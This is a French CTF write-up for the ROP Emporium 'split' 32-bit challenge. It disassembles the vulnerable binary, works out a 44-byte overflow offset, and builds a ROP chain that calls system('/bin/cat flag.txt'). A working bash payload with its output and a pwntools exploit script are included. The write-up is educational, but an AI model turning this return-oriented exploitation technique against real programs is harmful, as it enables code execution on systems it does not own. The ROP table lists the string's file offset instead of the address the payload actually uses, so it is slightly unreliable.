Contents

Ropemporium x86_32 split

split x86_32

Introduction.

Dans ce second exercice on doit passer une argument à la fonction appelée. L’argument est présent dans le programme.

La démarche est la même qu’en x86 64 avec deux différences.

  • la taille des registres est de 32 bits donc la sauvegarde de ebp occupe 4 bytes au lieu de 8 en 64 bits.
  • Le passage des paramètre s’effectue exclusivement sur la pile.

Analyse

On regarde le code de la fonction pwnme :

gef➤  disas pwnme
Dump of assembler code for function pwnme:
   0x080485ad <+0>:	push   ebp
   0x080485ae <+1>:	mov    ebp,esp
   0x080485b0 <+3>:	sub    esp,0x28
   0x080485b3 <+6>:	sub    esp,0x4
   0x080485b6 <+9>:	push   0x20
   0x080485b8 <+11>:	push   0x0
   0x080485ba <+13>:	lea    eax,[ebp-0x28]
   0x080485bd <+16>:	push   eax
   0x080485be <+17>:	call   0x8048410 <memset@plt>
   0x080485c3 <+22>:	add    esp,0x10
   0x080485c6 <+25>:	sub    esp,0xc
   0x080485c9 <+28>:	push   0x80486d4
   0x080485ce <+33>:	call   0x80483d0 <puts@plt>
   0x080485d3 <+38>:	add    esp,0x10
   0x080485d6 <+41>:	sub    esp,0xc
   0x080485d9 <+44>:	push   0x8048700
   0x080485de <+49>:	call   0x80483c0 <printf@plt>
   0x080485e3 <+54>:	add    esp,0x10
   0x080485e6 <+57>:	sub    esp,0x4
   0x080485e9 <+60>:	push   0x60
   0x080485eb <+62>:	lea    eax,[ebp-0x28]
   0x080485ee <+65>:	push   eax
   0x080485ef <+66>:	push   0x0
   0x080485f1 <+68>:	call   0x80483b0 <read@plt>
   0x080485f6 <+73>:	add    esp,0x10
   0x080485f9 <+76>:	sub    esp,0xc
   0x080485fc <+79>:	push   0x8048703
   0x08048601 <+84>:	call   0x80483d0 <puts@plt>
   0x08048606 <+89>:	add    esp,0x10
   0x08048609 <+92>:	nop
   0x0804860a <+93>:	leave
   0x0804860b <+94>:	ret
End of assembler dump.

On voit que la lecture se fait 40 octets avant l’adresse contenue dans ebp.

0x080485eb <+62>: lea eax,[ebp-0x28]

L’offset de débordement est donc de 44 (0x2c) octets.

La fonction utile présente dans le code est :

  gef➤  disas usefulFunction
  Dump of assembler code for function usefulFunction:
     0x0804860c <+0>:	push   ebp
     0x0804860d <+1>:	mov    ebp,esp
     0x0804860f <+3>:	sub    esp,0x8
     0x08048612 <+6>:	sub    esp,0xc
     0x08048615 <+9>:	push   0x804870e               ; "/bin/sl"
  => 0x0804861a <+14>:	call   0x80483e0 <system@plt>
     0x0804861f <+19>:	add    esp,0x10
     0x08048622 <+22>:	nop
     0x08048623 <+23>:	leave
     0x08048624 <+24>:	ret
  End of assembler dump.

Elle appelle la fonction system avec la chaine de caratère “/bin ls”. On pourra donc viser un retour en usefulFunction+14 pour executer un commande.

PAr ailleurs, chaine de caractère utile pour afficher el flag est disponible dans le code.

  /w/ropemporium/x32/split# rabin2 -z split32
  [Strings]
  nth paddr      vaddr      len size section type  string
  ―――――――――――――――――――――――――――――――――――――――――――――――――――――――
  0   0x000006b0 0x080486b0 21  22   .rodata ascii split by ROP Emporium
  1   0x000006c6 0x080486c6 4   5    .rodata ascii x86\n
  2   0x000006cb 0x080486cb 8   9    .rodata ascii \nExiting
  3   0x000006d4 0x080486d4 43  44   .rodata ascii Contriving a reason to ask user for data...
  4   0x00000703 0x08048703 10  11   .rodata ascii Thank you!
  5   0x0000070e 0x0804870e 7   8    .rodata ascii /bin/ls
  0   0x00001030 0x0804a030 17  18   .data   ascii /bin/cat flag.txt

A l’adresse 0x0804a030 on trouve la chaine “/bin/cat flag.txt”.

Construction de l’attaque.

Notre objectif va être d’appeller la fonction system en appellant l’adresse 0x0804861a avec en paramètre l’adresse la la chaine “/bin/cat flag.txt” : 0x0804a030.

Pour passer le paramêtre il nous faut simplement placer sur la pile l’adresse de la chaine de caractère avec l’adresse de l’appel system.

La ropchaine

La chaine de rop est simplement :

ROP entry comment
0x00001030 @ /bin/cat flag.txt
0x0804861a appel system

Exploitation

En bash

   w/ropemporium/x32/split# printf "%44s\x1a\x86\x04\x08\x30\xa0\x04\x08" A |./split32
   split by ROP Emporium
   x86

   Contriving a reason to ask user for data...
   > Thank you!
   ROPE{a_placeholder_32byte_flag!}

En python


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

gs='''
b *pwnme+89
c
'''

#context(terminal=['tmux', 'split-window', '-h'])
# Set up pwntools for the correct architecture
elf =  ELF('split32')
context.binary=elf
# context(terminal=['tmux'])

useful_str=elf.symbols["usefulString"]
useful_fun=elf.symbols["usefulFunction"]

offset=0x2c

io = process([elf.path])
#io = gdb.debug([elf.path],gdbscript=gs)
# gdb.attach(io,gs)
time.sleep(.5)

print(f"{useful_str=:x}")
print(f"{useful_fun=:x}")

io.recvuntil(b"> ")

# On retourn en useful_fun pour sauter l'affectation de edi dans la fonction
PL=offset*b"A"+p32(useful_fun+14)+p32(useful_str)
io.sendline(PL)
io.interactive()